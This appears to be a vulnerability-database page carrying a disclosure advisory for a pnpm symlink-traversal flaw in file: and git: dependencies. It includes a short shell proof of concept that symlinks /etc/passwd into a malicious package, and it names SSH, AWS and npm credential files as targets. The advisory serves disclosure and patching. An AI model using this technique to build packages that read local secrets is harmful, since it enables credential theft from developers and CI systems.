pnpm has symlink traversal in file:/git dependencies
Summary
When pnpm installs a file: (directory) or git: dependency, it follows symlinks and reads their target contents without constraining them to the package root. A malicious package containing a symlink to an absolute path (e.g., /etc/passwd, ~/.ssh/id_rsa) causes pnpm to copy that file's contents into node_modules, leaking local data.
Preconditions: Only affects file: and git: dependencies. Registry packages (npm) have symlinks stripped during publish and are NOT affected.
Details
The vulnerability exists in store/cafs/src/addFilesFromDir.ts. The code uses fs.statSync() and readFileSync() which follow symlinks by default:
const absolutePath = path.join(dirname, relativePath)
const stat = fs.statSync(absolutePath) // Follows symlinks!
const buffer = fs.readFileSync(absolutePath) // Reads symlink TARGETThere is no check that absolutePath resolves to a location inside the package directory.
PoC
# Create malicious package
mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json
# Victim installs
mkdir /tmp/victim && cd /tmp/victim
pnpm init && pnpm add file:../evil
# Leaked!
cat node_modules/evil/leaked-passwd.txtImpact
- Developers installing local/file dependencies
- CI/CD pipelines installing git dependencies
- Credential theft via symlinks to
~/.aws/credentials,~/.npmrc,~/.ssh/id_rsa
Suggested Fix
Use lstatSync to detect symlinks and reject those pointing outside the package root in store/cafs/src/addFilesFromDir.ts.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | pnpm | < 10.28.2 | 10.28.2 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-22, CWE-59- Platform
- npm
- Package
pnpm- Disclosed
- 26.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m733-5w8f-5ggw - CC BY 4.0
Vulnerability history: pnpm
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 32
- First → latest
- 03.2022 09.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 18
- Medium 14
Disclosures per year
- 2022: 1
- 2023: 1
- 2024: 1
- 2025: 1
- 2026: 28
-
pnpm has symlink traversal in file:/git dependencies this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.